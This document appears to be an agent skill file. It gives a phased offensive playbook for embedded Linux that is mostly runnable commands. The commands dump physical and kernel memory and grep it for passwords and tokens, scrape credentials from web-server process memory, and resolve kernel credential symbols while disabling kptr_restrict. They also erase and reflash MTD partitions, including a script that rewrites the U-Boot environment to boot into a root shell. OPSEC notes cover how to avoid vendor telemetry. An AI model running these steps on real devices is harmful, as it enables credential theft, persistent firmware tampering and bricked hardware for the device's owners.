| name | dev-mem |
| description | Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid). |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"iot","when_to_use":"/dev/mem, /dev/kmem, MTD write, mtd_debug, flashcp, memory patch, runtime patch, kernel memory, /proc/kallsyms, devmem2, embedded memory access, live firmware patch","tags":"iot, devmem, kmem, mtd, flashcp, memory-patching, kallsyms, embedded-linux, runtime, kernel","mitre_attack":"T1601.001, T1601.002, T1068, T1543"} |
/dev/mem, /dev/kmem, and MTD Runtime Patching
On embedded Linux, physical memory and raw flash are often accessible
as character devices. Combined with /proc/kallsyms for kernel symbol
resolution, these interfaces allow runtime rootkit injection, credential
extraction, and live firmware modification without touching the filesystem.
Prerequisites
- Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
- Target runs Linux (confirms with
uname -a).
- Check access:
ls -la /dev/mem /dev/kmem /dev/mtd*.
- Tools:
devmem2 (or /dev/mem via dd), mtd_debug, flashcp, busybox devmem.
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null
uname -a
cat /proc/mtd
Phase 1 — Physical Memory Read via /dev/mem
1a. devmem2 (most common embedded tool)
devmem2 0x10000000 w
devmem2 0x10000000 b
devmem2 0x10000000 w 0xDEADBEEF
busybox devmem 0x10000000 32
1b. dd + /dev/mem
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin
1c. Bypass CONFIG_STRICT_DEVMEM
Kernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null
Phase 2 — Kernel Memory via /dev/kmem
/dev/kmem exposes virtual kernel address space. Available on older kernels
(pre-3.7) or when compiled without CONFIG_DEVKMEM=n.
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd
devmem2 $SYM_ADDR q
2a. Extract kernel credentials from /proc/kcore
vol -f /proc/kcore linux.bash.Bash
vol -f /proc/kcore linux.pslist.PsList
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20
Phase 3 — MTD Raw Flash Access
MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux,
/dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths
for read/write access to firmware partitions.
3a. Partition enumeration
cat /proc/mtd
3b. Dump MTD partition
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin
nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin
3c. Write (patch) an MTD partition
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin
sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256
flash_erase /dev/mtd3 0 0
mtd_debug erase /dev/mtd3 0 $((0x600000))
flashcp -v /tmp/rootfs_patched.bin /dev/mtd3
mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin
diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH"
3d. U-Boot environment modification via MTD
UBOOT_ENV_MTD=/dev/mtd1
dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin
python3 -c "
import struct, zlib
data = open('/tmp/uboot_env.bin','rb').read()
crc_stored = struct.unpack('<I', data[:4])[0]
crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF
print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')
env = data[4:].split(b'\\x00')
for e in env:
if e: print(e.decode(errors='replace'))
"
python3 << 'EOF'
import struct, zlib
env_vars = {
"bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh",
"bootcmd": "run bootlinux",
}
ENV_SIZE = 0x10000
payload = b""
for k, v in env_vars.items():
payload += f"{k}={v}\x00".encode()
payload += b"\x00"
payload = payload.ljust(ENV_SIZE - 4, b"\xff")
crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF)
with open("/tmp/uboot_env_patched.bin", "wb") as f:
f.write(crc + payload)
print("Patched env written")
EOF
flash_erase /dev/mtd1 0 0
flashcp /tmp/uboot_env_patched.bin /dev/mtd1
Phase 4 — Live Process Memory Access
cat /proc/1/maps
HEAP_START=0x00400000
dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null
WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)
strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20
gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \
2>/dev/null | grep -iE 'password|secret|key'
Phase 5 — /proc/kallsyms Exploitation
cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'
cat /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/kptr_restrict
Evidence
EVDIR=/workspace/evidence/iot/<target>/devmem
mkdir -p "$EVDIR"
cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null
cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null
sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256"
echo "MTD partition map:" >> "$EVDIR/notes.txt"
cat /proc/mtd >> "$EVDIR/notes.txt"
echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt"
cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt"
OPSEC Notes
- MTD erase+write operations are irreversible if the backup is lost. Keep the backup
in
/workspace/evidence/ before any write operation.
- Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no
software recovery path. Triple-check partition map from
/proc/mtd before writing.
/dev/mem reads of active MMIO registers (UART, SPI, GPIO) can interfere with
peripheral operation and may trigger watchdog resets.
- On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access
may generate audit log entries visible to the vendor's telemetry pipeline.
- MTD writes generate wear on flash cells; each erase cycle degrades the chip.
Limit writes to the minimum needed; document all writes for device-return procedures.
References
- mtd-utils documentation:
https://github.com/sigma-star/mtd-utils
- Linux MTD subsystem:
https://www.linux-mtd.infradead.org/doc/general.html
- devmem2 tool:
https://github.com/VCTLabs/devmem2
- Kernel exploitation via /dev/mem:
references/devmem-kernel-exploit.md
- U-Boot env format:
https://u-boot.readthedocs.io/en/latest/usage/environment.html